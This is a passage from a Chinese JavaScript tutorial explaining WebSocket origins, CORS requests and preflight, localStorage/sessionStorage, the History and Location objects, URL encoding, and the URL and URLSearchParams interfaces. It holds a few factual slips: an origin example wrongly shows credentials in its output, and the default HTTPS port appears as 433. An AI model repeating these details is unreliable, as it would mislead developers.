上面代码中,有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。

正是因为有了Origin这个字段,所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出如下回应。

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

CORS

CORS 是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是 W3C 标准,属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发GET请求,CORS 允许任何类型的请求。

下一章将详细介绍,如何通过 CORS 完成跨源 AJAX 请求。

参考链接

CORS 通信

CORS 是一个 W3C 标准,全称是“跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨域的服务器,发出XMLHttpRequest请求,从而克服了 AJAX 只能同源使用的限制。

简介

CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能。

整个 CORS 通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS 通信与普通的 AJAX 通信没有差别,代码完全一样。浏览器一旦发现 AJAX 请求跨域,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感知。因此,实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨域通信。

两种请求

CORS 请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。

只要同时满足以下两大条件,就属于简单请求。

(1)请求方法是以下三种方法之一。

  • HEAD
  • GET
  • POST

(2)HTTP 的头信息不超出以下几种字段。

  • Accept
  • Accept-Language
  • Content-Language
  • Last-Event-ID
  • Content-Type:只限于三个值application/x-www-form-urlencodedmultipart/form-datatext/plain

凡是不同时满足上面两个条件,就属于非简单请求。一句话,简单请求就是简单的 HTTP 方法与简单的 HTTP 头信息的结合。

这样划分的原因是,表单在历史上一直可以跨域发出请求。简单请求就是表单请求,浏览器沿袭了传统的处理方式,不把行为复杂化,否则开发者可能转而使用表单,规避 CORS 的限制。对于非简单请求,浏览器会采用新的处理方式。

简单请求

基本流程

对于简单请求,浏览器直接发出 CORS 请求。具体来说,就是在头信息之中,增加一个Origin字段。

下面是一个例子,浏览器发现这次跨域 AJAX 请求是简单请求,就自动在头信息之中,添加一个Origin字段。

GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面的头信息中,Origin字段用来说明,本次请求来自哪个域(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。

如果Origin指定的源,不在许可范围内,服务器会返回一个正常的 HTTP 回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequestonerror回调函数捕获。注意,这种错误无法通过状态码识别,因为 HTTP 回应的状态码有可能是200。

如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。

Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8

上面的头信息之中,有三个与 CORS 请求相关的字段,都以Access-Control-开头。

(1)Access-Control-Allow-Origin

该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

(2)Access-Control-Allow-Credentials

该字段可选。它的值是一个布尔值,表示是否允许发送 Cookie。默认情况下,Cookie 不包括在 CORS 请求之中。设为true,即表示服务器明确许可,浏览器可以把 Cookie 包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送 Cookie,不发送该字段即可。

(3)Access-Control-Expose-Headers

该字段可选。CORS 请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个服务器返回的基本字段:Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。

withCredentials 属性

上面说到,CORS 请求默认不包含 Cookie 信息(以及 HTTP 认证信息等),这是为了降低 CSRF 攻击的风险。但是某些场合,服务器可能需要拿到 Cookie,这时需要服务器显式指定Access-Control-Allow-Credentials字段,告诉浏览器可以发送 Cookie。

Access-Control-Allow-Credentials: true

同时,开发者必须在 AJAX 请求中打开withCredentials属性。

var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

否则,即使服务器要求发送 Cookie,浏览器也不会发送。或者,服务器要求设置 Cookie,浏览器也不会处理。

但是,有的浏览器默认将withCredentials属性设为true。这导致如果省略withCredentials设置,这些浏览器可能还是会一起发送 Cookie。这时,可以显式关闭withCredentials

xhr.withCredentials = false;

需要注意的是,如果服务器要求浏览器发送 Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie 依然遵循同源政策,只有用服务器域名设置的 Cookie 才会上传,其他域名的 Cookie 并不会上传,且(跨域)原网页代码中的document.cookie也无法读取服务器域名下的 Cookie。

非简单请求

预检请求

非简单请求是那种对服务器提出特殊要求的请求,比如请求方法是PUTDELETE,或者Content-Type字段的类型是application/json

非简单请求的 CORS 请求,会在正式通信之前,增加一次 HTTP 查询请求,称为“预检”请求(preflight)。浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些 HTTP 方法和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错。这是为了防止这些新增的请求,对传统的没有 CORS 支持的服务器形成压力,给服务器一个提前拒绝的机会,这样可以防止服务器收到大量DELETEPUT请求,这些传统的表单不可能跨域发出的请求。

下面是一段浏览器的 JavaScript 脚本。

var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();

上面代码中,HTTP 请求的方法是PUT,并且发送一个自定义头信息X-Custom-Header

浏览器发现,这是一个非简单请求,就自动发出一个“预检”请求,要求服务器确认可以这样请求。下面是这个“预检”请求的 HTTP 头信息。

OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

“预检”请求用的请求方法是OPTIONS,表示这个请求是用来询问的。头信息里面,关键字段是Origin,表示请求来自哪个源。

除了Origin字段,“预检”请求的头信息包括两个特殊字段。

(1)Access-Control-Request-Method

该字段是必须的,用来列出浏览器的 CORS 请求会用到哪些 HTTP 方法,上例是PUT

(2)Access-Control-Request-Headers

该字段是一个逗号分隔的字符串,指定浏览器 CORS 请求会额外发送的头信息字段,上例是X-Custom-Header

预检请求的回应

服务器收到“预检”请求以后,检查了OriginAccess-Control-Request-MethodAccess-Control-Request-Headers字段以后,确认允许跨源请求,就可以做出回应。

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive

上面的 HTTP 回应中,关键的是Access-Control-Allow-Origin字段,表示http://api.bob.com可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。

Access-Control-Allow-Origin: *

如果服务器否定了“预检”请求,会返回一个正常的 HTTP 回应,但是没有任何 CORS 相关的头信息字段,或者明确表示请求不符合条件。

OPTIONS http://api.bob.com HTTP/1.1
Status: 200
Access-Control-Allow-Origin: https://notyourdomain.com
Access-Control-Allow-Method: POST

上面的服务器回应,Access-Control-Allow-Origin字段明确不包括发出请求的http://api.bob.com

这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被XMLHttpRequest对象的onerror回调函数捕获。控制台会打印出如下的报错信息。

XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.

服务器回应的其他 CORS 相关字段如下。

Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000

(1)Access-Control-Allow-Methods

该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次“预检”请求。

(2)Access-Control-Allow-Headers

如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在“预检”中请求的字段。

(3)Access-Control-Allow-Credentials

该字段与简单请求时的含义相同。

(4)Access-Control-Max-Age

该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。

浏览器的正常请求和回应

一旦服务器通过了“预检”请求,以后每次浏览器正常的 CORS 请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段。

下面是“预检”请求之后,浏览器的正常 CORS 请求。

PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面头信息的Origin字段是浏览器自动添加的。

下面是服务器正常的回应。

Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8

上面头信息中,Access-Control-Allow-Origin字段是每次回应都必定包含的。

与 JSONP 的比较

CORS 与 JSONP 的使用目的相同,但是比 JSONP 更强大。JSONP 只支持GET请求,CORS 支持所有类型的 HTTP 请求。JSONP 的优势在于支持老式浏览器,以及可以向不支持 CORS 的网站请求数据。

参考链接

Storage 接口

概述

Storage 接口用于脚本在浏览器保存数据。两个对象部署了这个接口:window.sessionStoragewindow.localStorage

sessionStorage保存的数据用于浏览器的一次会话(session),当会话结束(通常是窗口关闭),数据被清空;localStorage保存的数据长期存在,下一次访问该网站的时候,网页可以直接读取以前保存的数据。除了保存期限的长短不同,这两个对象的其他方面都一致。

保存的数据都以“键值对”的形式存在。也就是说,每一项数据都有一个键名和对应的值。所有的数据都是以文本格式保存。

这个接口很像 Cookie 的强化版,能够使用大得多的存储空间。目前,每个域名的存储上限视浏览器而定,Chrome 是 2.5MB,Firefox 和 Opera 是 5MB,IE 是 10MB。其中,Firefox 的存储空间由一级域名决定,而其他浏览器没有这个限制。也就是说,Firefox 中,a.example.comb.example.com共享 5MB 的存储空间。另外,与 Cookie 一样,它们也受同域限制。某个网页存入的数据,只有同域下的网页才能读取,如果跨域操作会报错。

属性和方法

Storage 接口只有一个属性。

  • Storage.length:返回保存的数据项个数。
window.localStorage.setItem('foo', 'a');
window.localStorage.setItem('bar', 'b');
window.localStorage.setItem('baz', 'c');

window.localStorage.length // 3

该接口提供5个方法。

Storage.setItem()

Storage.setItem()方法用于存入数据。它接受两个参数,第一个是键名,第二个是保存的数据。如果键名已经存在,该方法会更新已有的键值。该方法没有返回值。

window.sessionStorage.setItem('key', 'value');
window.localStorage.setItem('key', 'value');

注意,Storage.setItem()两个参数都是字符串。如果不是字符串,会自动转成字符串,再存入浏览器。

window.sessionStorage.setItem(3, { foo: 1 });
window.sessionStorage.getItem('3') // "[object Object]"

上面代码中,setItem方法的两个参数都不是字符串,但是存入的值都是字符串。

如果储存空间已满,该方法会抛错。

写入不一定要用这个方法,直接赋值也是可以的。

// 下面三种写法等价
window.localStorage.foo = '123';
window.localStorage['foo'] = '123';
window.localStorage.setItem('foo', '123');

Storage.getItem()

Storage.getItem()方法用于读取数据。它只有一个参数,就是键名。如果键名不存在,该方法返回null

window.sessionStorage.getItem('key')
window.localStorage.getItem('key')

键名应该是一个字符串,否则会被自动转为字符串。

Storage.removeItem()

Storage.removeItem()方法用于清除某个键名对应的键值。它接受键名作为参数,如果键名不存在,该方法不会做任何事情。

sessionStorage.removeItem('key');
localStorage.removeItem('key');

Storage.clear()

Storage.clear()方法用于清除所有保存的数据。该方法的返回值是undefined

window.sessionStorage.clear()
window.localStorage.clear()

Storage.key()

Storage.key()方法接受一个整数作为参数(从零开始),返回该位置对应的键名。

window.sessionStorage.setItem('key', 'value');
window.sessionStorage.key(0) // "key"

结合使用Storage.length属性和Storage.key()方法,可以遍历所有的键。

for (var i = 0; i < window.localStorage.length; i++) {
  console.log(localStorage.key(i));
}

storage 事件

Storage 接口储存的数据发生变化时,会触发 storage 事件,可以指定这个事件的监听函数。

window.addEventListener('storage', onStorageChange);

监听函数接受一个event实例对象作为参数。这个实例对象继承了 StorageEvent 接口,有几个特有的属性,都是只读属性。

  • StorageEvent.key:字符串,表示发生变动的键名。如果 storage 事件是由clear()方法引起,该属性返回null
  • StorageEvent.newValue:字符串,表示新的键值。如果 storage 事件是由clear()方法或删除该键值对引发的,该属性返回null
  • StorageEvent.oldValue:字符串,表示旧的键值。如果该键值对是新增的,该属性返回null
  • StorageEvent.storageArea:对象,返回键值对所在的整个对象。也说是说,可以从这个属性上面拿到当前域名储存的所有键值对。
  • StorageEvent.url:字符串,表示原始触发 storage 事件的那个网页的网址。

下面是StorageEvent.key属性的例子。

function onStorageChange(e) {
  console.log(e.key);
}

window.addEventListener('storage', onStorageChange);

注意,该事件有一个很特别的地方,就是它不在导致数据变化的当前页面触发,而是在同一个域名的其他窗口触发。也就是说,如果浏览器只打开一个窗口,可能观察不到这个事件。比如同时打开多个窗口,当其中的一个窗口导致储存的数据发生改变时,只有在其他窗口才能观察到监听函数的执行。可以通过这种机制,实现多个窗口之间的通信。

参考链接

History 对象

概述

window.history属性指向 History 对象,它表示当前窗口的浏览历史。

History 对象保存了当前窗口访问过的所有页面网址。下面代码表示当前窗口一共访问过3个网址。

window.history.length // 3

由于安全原因,浏览器不允许脚本读取这些地址,但是允许在地址之间导航。

// 后退到前一个网址
history.back()

// 等同于
history.go(-1)

浏览器工具栏的“前进”和“后退”按钮,其实就是对 History 对象进行操作。

属性

History 对象主要有两个属性。

  • History.length:当前窗口访问过的网址数量(包括当前网页)
  • History.state:History 堆栈最上层的状态值(详见下文)
// 当前窗口访问过多少个网页
window.history.length // 1

// History 对象的当前状态
// 通常是 undefined,即未设置
window.history.state // undefined

方法

History.back()、History.forward()、History.go()

这三个方法用于在历史之中移动。

  • History.back():移动到上一个网址,等同于点击浏览器的后退键。对于第一个访问的网址,该方法无效果。
  • History.forward():移动到下一个网址,等同于点击浏览器的前进键。对于最后一个访问的网址,该方法无效果。
  • History.go():接受一个整数作为参数,以当前网址为基准,移动到参数指定的网址,比如go(1)相当于forward()go(-1)相当于back()。如果参数超过实际存在的网址范围,该方法无效果;如果不指定参数,默认参数为0,相当于刷新当前页面。
history.back();
history.forward();
history.go(-2);

history.go(0)相当于刷新当前页面。

history.go(0); // 刷新当前页面

注意,移动到以前访问过的页面时,页面通常是从浏览器缓存之中加载,而不是重新要求服务器发送新的网页。

History.pushState()

History.pushState()方法用于在历史中添加一条记录。

window.history.pushState(state, title, url)

该方法接受三个参数,依次为:

  • state:一个与添加的记录相关联的状态对象,主要用于popstate事件。该事件触发时,该对象会传入回调函数。也就是说,浏览器会将这个对象序列化以后保留在本地,重新载入这个页面的时候,可以拿到这个对象。如果不需要这个对象,此处可以填null
  • title:新页面的标题。但是,现在所有浏览器都忽视这个参数,所以这里可以填空字符串。
  • url:新的网址,必须与当前页面处在同一个域。浏览器的地址栏将显示这个网址。

假定当前网址是example.com/1.html,使用pushState()方法在浏览记录(History 对象)中添加一个新记录。

var stateObj = { foo: 'bar' };
history.pushState(stateObj, 'page 2', '2.html');

添加新记录后,浏览器地址栏立刻显示example.com/2.html,但并不会跳转到2.html,甚至也不会检查2.html是否存在,它只是成为浏览历史中的最新记录。这时,在地址栏输入一个新的地址(比如访问google.com),然后点击了倒退按钮,页面的 URL 将显示2.html;你再点击一次倒退按钮,URL 将显示1.html

总之,pushState()方法不会触发页面刷新,只是导致 History 对象发生变化,地址栏会有反应。

使用该方法之后,就可以用History.state属性读出状态对象。

var stateObj = { foo: 'bar' };
history.pushState(stateObj, 'page 2', '2.html');
history.state // {foo: "bar"}

如果pushState的 URL 参数设置了一个新的锚点值(即hash),并不会触发hashchange事件。反过来,如果 URL 的锚点值变了,则会在 History 对象创建一条浏览记录。

如果pushState()方法设置了一个跨域网址,则会报错。

// 报错
// 当前网址为 http://example.com
history.pushState(null, '', 'https://twitter.com/hello');

上面代码中,pushState想要插入一个跨域的网址,导致报错。这样设计的目的是,防止恶意代码让用户以为他们是在另一个网站上,因为这个方法不会导致页面跳转。

History.replaceState()

History.replaceState()方法用来修改 History 对象的当前记录,其他都与pushState()方法一模一样。

假定当前网页是example.com/example.html

history.pushState({page: 1}, 'title 1', '?page=1')
// URL 显示为 http://example.com/example.html?page=1

history.pushState({page: 2}, 'title 2', '?page=2');
// URL 显示为 http://example.com/example.html?page=2

history.replaceState({page: 3}, 'title 3', '?page=3');
// URL 显示为 http://example.com/example.html?page=3

history.back()
// URL 显示为 http://example.com/example.html?page=1

history.back()
// URL 显示为 http://example.com/example.html

history.go(2)
// URL 显示为 http://example.com/example.html?page=3

popstate 事件

每当同一个文档的浏览历史(即history对象)出现变化时,就会触发popstate事件。

注意,仅仅调用pushState()方法或replaceState()方法 ,并不会触发该事件,只有用户点击浏览器倒退按钮和前进按钮,或者使用 JavaScript 调用History.back()History.forward()History.go()方法时才会触发。另外,该事件只针对同一个文档,如果浏览历史的切换,导致加载不同的文档,该事件也不会触发。

使用的时候,可以为popstate事件指定回调函数。

window.onpopstate = function (event) {
  console.log('location: ' + document.location);
  console.log('state: ' + JSON.stringify(event.state));
};

// 或者
window.addEventListener('popstate', function(event) {
  console.log('location: ' + document.location);
  console.log('state: ' + JSON.stringify(event.state));
});

回调函数的参数是一个event事件对象,它的state属性指向pushStatereplaceState方法为当前 URL 所提供的状态对象(即这两个方法的第一个参数)。上面代码中的event.state,就是通过pushStatereplaceState方法,为当前 URL 绑定的state对象。

这个state对象也可以直接通过history对象读取。

var currentState = history.state;

注意,页面第一次加载的时候,浏览器不会触发popstate事件。

Location 对象,URL 对象,URLSearchParams 对象

URL 是互联网的基础设施之一。浏览器提供了一些原生对象,用来管理 URL。

Location 对象

Location对象是浏览器提供的原生对象,提供 URL 相关的信息和操作方法。通过window.locationdocument.location属性,可以拿到这个对象。

属性

Location对象提供以下属性。

  • Location.href:整个 URL。
  • Location.protocol:当前 URL 的协议,包括冒号(:)。
  • Location.host:主机。如果端口不是协议默认的80433,则还会包括冒号(:)和端口。
  • Location.hostname:主机名,不包括端口。
  • Location.port:端口号。
  • Location.pathname:URL 的路径部分,从根路径/开始。
  • Location.search:查询字符串部分,从问号?开始。
  • Location.hash:片段字符串部分,从#开始。
  • Location.username:域名前面的用户名。
  • Location.password:域名前面的密码。
  • Location.origin:URL 的协议、主机名和端口。
// 当前网址为
// http://user:passwd@www.example.com:4097/path/a.html?x=111#part1
document.location.href
// "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1"
document.location.protocol
// "http:"
document.location.host
// "www.example.com:4097"
document.location.hostname
// "www.example.com"
document.location.port
// "4097"
document.location.pathname
// "/path/a.html"
document.location.search
// "?x=111"
document.location.hash
// "#part1"
document.location.username
// "user"
document.location.password
// "passwd"
document.location.origin
// "http://user:passwd@www.example.com:4097"

这些属性里面,只有origin属性是只读的,其他属性都可写。

注意,如果对Location.href写入新的 URL 地址,浏览器会立刻跳转到这个新地址。

// 跳转到新网址
document.location.href = 'http://www.example.com';

这个特性常常用于让网页自动滚动到新的锚点。

document.location.href = '#top';
// 等同于
document.location.hash = '#top';

直接改写location,相当于写入href属性。

document.location = 'http://www.example.com';
// 等同于
document.location.href = 'http://www.example.com';

另外,Location.href属性是浏览器唯一允许跨域写入的属性,即非同源的窗口可以改写另一个窗口(比如子窗口与父窗口)的Location.href属性,导致后者的网址跳转。Location的其他属性都不允许跨域写入。

方法

(1)Location.assign()

assign方法接受一个 URL 字符串作为参数,使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串,则会报错。

// 跳转到新的网址
document.location.assign('http://www.example.com')

(2)Location.replace()

replace方法接受一个 URL 字符串作为参数,使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串,则会报错。

它与assign方法的差异在于,replace会在浏览器的浏览历史History里面删除当前网址,也就是说,一旦使用了该方法,后退按钮就无法回到当前网页了,相当于在浏览历史里面,使用新的 URL 替换了老的 URL。它的一个应用是,当脚本发现当前是移动设备时,就立刻跳转到移动版网页。

// 跳转到新的网址
document.location.replace('http://www.example.com')

(3)Location.reload()

reload方法使得浏览器重新加载当前网址,相当于按下浏览器的刷新按钮。

它接受一个布尔值作为参数。如果参数为true,浏览器将向服务器重新请求这个网页,并且重新加载后,网页将滚动到头部(即scrollTop === 0)。如果参数是false或为空,浏览器将从本地缓存重新加载该网页,并且重新加载后,网页的视口位置是重新加载前的位置。

// 向服务器重新请求当前网址
window.location.reload(true);

(4)Location.toString()

toString方法返回整个 URL 字符串,相当于读取Location.href属性。

URL 的编码和解码

网页的 URL 只能包含合法的字符。合法字符分成两类。

  • URL 元字符:分号(;),逗号(,),斜杠(/),问号(?),冒号(:),at(@),&,等号(=),加号(+),美元符号($),井号(#
  • 语义字符:a-zA-Z0-9,连词号(-),下划线(_),点(.),感叹号(!),波浪线(~),星号(*),单引号('),圆括号(()

除了以上字符,其他字符出现在 URL 之中都必须转义,规则是根据操作系统的默认编码,将每个字节转为百分号(%)加上两个大写的十六进制字母。

比如,UTF-8 的操作系统上,http://www.example.com/q=春节这个 URL 之中,汉字“春节”不是 URL 的合法字符,所以被浏览器自动转成http://www.example.com/q=%E6%98%A5%E8%8A%82。其中,“春”转成了%E6%98%A5,“节”转成了%E8%8A%82。这是因为“春”和“节”的 UTF-8 编码分别是E6 98 A5E8 8A 82,将每个字节前面加上百分号,就构成了 URL 编码。

JavaScript 提供四个 URL 的编码/解码方法。

  • encodeURI()
  • encodeURIComponent()
  • decodeURI()
  • decodeURIComponent()

encodeURI()

encodeURI()方法用于转码整个 URL。它的参数是一个字符串,代表整个 URL。它会将元字符和语义字符之外的字符,都进行转义。

encodeURI('http://www.example.com/q=春节')
// "http://www.example.com/q=%E6%98%A5%E8%8A%82"

encodeURIComponent()

encodeURIComponent()方法用于转码 URL 的组成部分,会转码除了语义字符之外的所有字符,即元字符也会被转码。所以,它不能用于转码整个 URL。它接受一个参数,就是 URL 的片段。

encodeURIComponent('春节')
// "%E6%98%A5%E8%8A%82"
encodeURIComponent('http://www.example.com/q=春节')
// "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"

上面代码中,encodeURIComponent()会连 URL 元字符一起转义,所以如果转码整个 URL 就会出错。

decodeURI()

decodeURI()方法用于整个 URL 的解码。它是encodeURI()方法的逆运算。它接受一个参数,就是转码后的 URL。

decodeURI('http://www.example.com/q=%E6%98%A5%E8%8A%82')
// "http://www.example.com/q=春节"

decodeURIComponent()

decodeURIComponent()用于URL 片段的解码。它是encodeURIComponent()方法的逆运算。它接受一个参数,就是转码后的 URL 片段。

decodeURIComponent('%E6%98%A5%E8%8A%82')
// "春节"

URL 接口

浏览器原生提供URL()接口,它是一个构造函数,用来构造、解析和编码 URL。一般情况下,通过window.URL可以拿到这个构造函数。

构造函数

URL()作为构造函数,可以生成 URL 实例。它接受一个表示 URL 的字符串作为参数。如果参数不是合法的 URL,会报错。

var url = new URL('http://www.example.com/index.html');
url.href
// "http://www.example.com/index.html"

上面示例生成了一个 URL 实例,用来代表指定的网址。

除了字符串,URL()的参数也可以是另一个 URL 实例。这时,URL()会自动读取该实例的href属性,作为实际参数。

如果 URL 字符串是一个相对路径,那么需要表示绝对路径的第二个参数,作为计算基准。

var url1 = new URL('index.html', 'http://example.com');
url1.href
// "http://example.com/index.html"

var url2 = new URL('page2.html', 'http://example.com/page1.html');
url2.href
// "http://example.com/page2.html"

var url3 = new URL('..', 'http://example.com/a/b.html')
url3.href
// "http://example.com/"

上面代码中,返回的 URL 实例的路径都是在第二个参数的基础上,切换到第一个参数得到的。最后一个例子里面,第一个参数是..,表示上层路径。

实例属性

URL 实例的属性与Location对象的属性基本一致,返回当前 URL 的信息。

  • URL.href:返回整个 URL
  • URL.protocol:返回协议,以冒号:结尾
  • URL.hostname:返回域名
  • URL.host:返回域名与端口,包含:号,默认的80和443端口会省略
  • URL.port:返回端口
  • URL.origin:返回协议、域名和端口
  • URL.pathname:返回路径,以斜杠/开头
  • URL.search:返回查询字符串,以问号?开头
  • URL.searchParams:返回一个URLSearchParams实例,该属性是Location对象没有的
  • URL.hash:返回片段识别符,以井号#开头
  • URL.password:返回域名前面的密码
  • URL.username:返回域名前面的用户名
var url = new URL('http://user:passwd@www.example.com:4097/path/a.html?x=111#part1');

url.href
// "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1"
url.protocol
// "http:"
url.hostname
// "www.example.com"
url.host
// "www.example.com:4097"
url.port
// "4097"
url.origin
// "http://www.example.com:4097"
url.pathname
// "/path/a.html"
url.search
// "?x=111"
url.searchParams
// URLSearchParams {}
url.hash
// "#part1"
url.password
// "passwd"
url.username
// "user"

这些属性里面,只有origin属性是只读的,其他属性都可写,并且会立即生效。

var url = new URL('http://example.com/index.html#part1');

url.pathname = 'index2.html';
url.href // "http://example.com/index2.html#part1"

url.hash = '#part2';
url.href // "http://example.com/index2.html#part2"

上面代码中,改变 URL 实例的pathname属性和hash属性,都会实时反映在 URL 实例当中。

静态方法

(1)URL.createObjectURL()

URL.createObjectURL()方法用来为上传/下载的文件、流媒体文件生成一个 URL 字符串。这个字符串代表了File对象或Blob对象的 URL。

// HTML 代码如下
// <div id="display"/>
// <input
//   type="file"
//   id="fileElem"
//   multiple
//   accept="image/*"
//   onchange="handleFiles(this.files)"
//  >
var div = document.getElementById('display');

function handleFiles(files) {
  for (var i = 0; i < files.length; i++) {
    var img = document.createElement('img');
    img.src = window.URL.createObjectURL(files[i]);
    div.appendChild(img);
  }
}

上面代码中,URL.createObjectURL()方法用来为上传的文件生成一个 URL 字符串,作为<img>元素的图片来源。

该方法生成的 URL 就像下面的样子。

blob:http://localhost/c745ef73-ece9-46da-8f66-ebes574789b1

注意,每次使用URL.createObjectURL()方法,都会在内存里面生成一个 URL 实例。如果不再需要该方法生成的 URL 字符串,为了节省内存,可以使用URL.revokeObjectURL()方法释放这个实例。

(2)URL.revokeObjectURL()

URL.revokeObjectURL()方法用来释放URL.createObjectURL()方法生成的 URL 实例。它的参数就是URL.createObjectURL()方法返回的 URL 字符串。

下面为上一段的示例加上URL.revokeObjectURL()

var div = document.getElementById('display');

function handleFiles(files) {
  for (var i = 0; i < files.length; i++) {
    var img = document.createElement('img');
    img.src = window.URL.createObjectURL(files[i]);
    div.appendChild(img);
    img.onload = function() {
      window.URL.revokeObjectURL(this.src);
    }
  }
}

上面代码中,一旦图片加载成功以后,为本地文件生成的 URL 字符串就没用了,于是可以在img.onload回调函数里面,通过URL.revokeObjectURL()方法卸载这个 URL 实例。

URLSearchParams 对象

概述

URLSearchParams对象是浏览器的原生对象,用来构造、解析和处理 URL 的查询字符串(即 URL 问号后面的部分)。

它本身也是一个构造函数,可以生成实例。参数可以为查询字符串,起首的问号?有没有都行,也可以是对应查询字符串的数组或对象。

// 方法一:传入字符串
var params = new URLSearchParams('?foo=1&bar=2');
// 等同于
var params = new URLSearchParams(document.location.search);

// 方法二:传入数组
var params = new URLSearchParams([['foo', 1], ['bar', 2]]);

// 方法三:传入对象
var params = new URLSearchParams({'foo' : 1 , 'bar' : 2});

URLSearchParams会对查询字符串自动编码。

var params = new URLSearchParams({'foo': '你好'});
params.toString() // "foo=%E4%BD%A0%E5%A5%BD"

上面代码中,foo的值是汉字,URLSearchParams对其自动进行 URL 编码。

浏览器向服务器发送表单数据时,可以直接使用URLSearchParams实例作为表单数据。

const params = new URLSearchParams({foo: 1, bar: 2});
fetch('https://example.com/api', {
  method: 'POST',
  body: params
}).then(...)

上面代码中,fetch命令向服务器发送命令时,可以直接使用URLSearchParams实例。

URLSearchParams可以与URL()接口结合使用。

var url = new URL(window.location);
var foo = url.searchParams.get('foo') || 'somedefault';

上面代码中,URL 实例的searchParams属性就是一个URLSearchParams实例,所以可以使用URLSearchParams接口的get方法。

URLSearchParams实例有遍历器接口,可以用for...of循环遍历(详见《ES6 标准入门》的《Iterator》一章)。

var params = new URLSearchParams({'foo': 1 , 'bar': 2});

for (var p of params) {
  console.log(p[0] + ': ' + p[1]);
}
// foo: 1
// bar: 2

URLSearchParams没有实例属性,只有实例方法。

URLSearchParams.toString()

toString方法返回实例的字符串形式。

var url = new URL('https://example.com?foo=1&bar=2');
var params = new URLSearchParams(url.search);

params.toString() // "foo=1&bar=2'

那么需要字符串的场合,会自动调用toString方法。

var params = new URLSearchParams({version: 2.0});
window.location.href = location.pathname + '?' + params;

上面代码中,location.href赋值时,可以直接使用params对象。这时就会自动调用toString方法。

URLSearchParams.append()

append()方法用来追加一个查询参数。它接受两个参数,第一个为键名,第二个为键值,没有返回值。

var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.append('baz', 3);
params.toString() // "foo=1&bar=2&baz=3"

append()方法不会识别是否键名已经存在。

var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.append('foo', 3);
params.toString() // "foo=1&bar=2&foo=3"

上面代码中,查询字符串里面foo已经存在了,但是append依然会追加一个同名键。

URLSearchParams.delete()

delete()方法用来删除指定的查询参数。它接受键名作为参数。

var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.delete('bar');
params.toString() // "foo=1"

URLSearchParams.has()

